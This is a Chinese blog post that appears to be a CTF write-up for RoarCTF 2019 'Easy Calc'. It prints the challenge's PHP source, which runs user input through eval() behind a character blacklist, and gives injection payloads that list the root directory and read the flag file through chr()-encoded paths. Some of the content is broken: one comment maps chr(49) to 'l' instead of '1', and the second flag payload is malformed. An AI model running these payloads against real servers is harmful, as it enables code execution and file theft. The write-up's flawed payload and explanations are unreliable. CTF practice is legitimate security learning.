[RoarCTF 2019]Easy Calc 1

打开靶机,进入页面

 

F12检查代码并且进行代码审计

 

<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),    //“calc.php”提示我们有藏有calc.php页面."?num="暗示我们扫页面目录。“encode”暗示我们编码。“$("#content").val()”=document.getElementById("content").value;
type:'GET',  //请求类型
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");  
}
})
return false; 
})
</script>

 

 

 

根据提示进入“calc.php”页面

 

/calc.php

 

 

对内容进行代码审计

 

<?php
error_reporting(0);
if(!isset($_GET['num'])){    //如果表单不存在“num”值
    show_source(__FILE__);    //展示源文件file
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];      //过滤字符名单
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {  //preg_math函数过滤掉了“/”,“/m”
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';'); 输出“$str”";"
}
?> 

 

 

 

构造playload扫一下页面目录

 

/calc.php? num=1;var_dump(scandir(chr(47)))
playload构建的解析
  1. var_dump函数:输出变量相关信息
  2. scandir:列出路径的文件和目录
  3. chr(47):返回的ascii指定字符,在linux下为目录47
  4. num=1:输入的名称

 

 

 

构造playload获取flagg的内容

 

/calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
/calc.php?%20num=1;var_dump(file_get_contents(chr47).chr(102),chr(97),chr(103),chr(103)))
playload注释
//chr(47)='/'
//chr(102)='f'
//chr(49)='l'
//chr(97)='a'
//chr(103)='g'
//chr(103)='g'

 

得到FLAG

 

posted @ 2021-03-07 21:12  原来是甘文川同学  阅读(345)  评论(0)    收藏  举报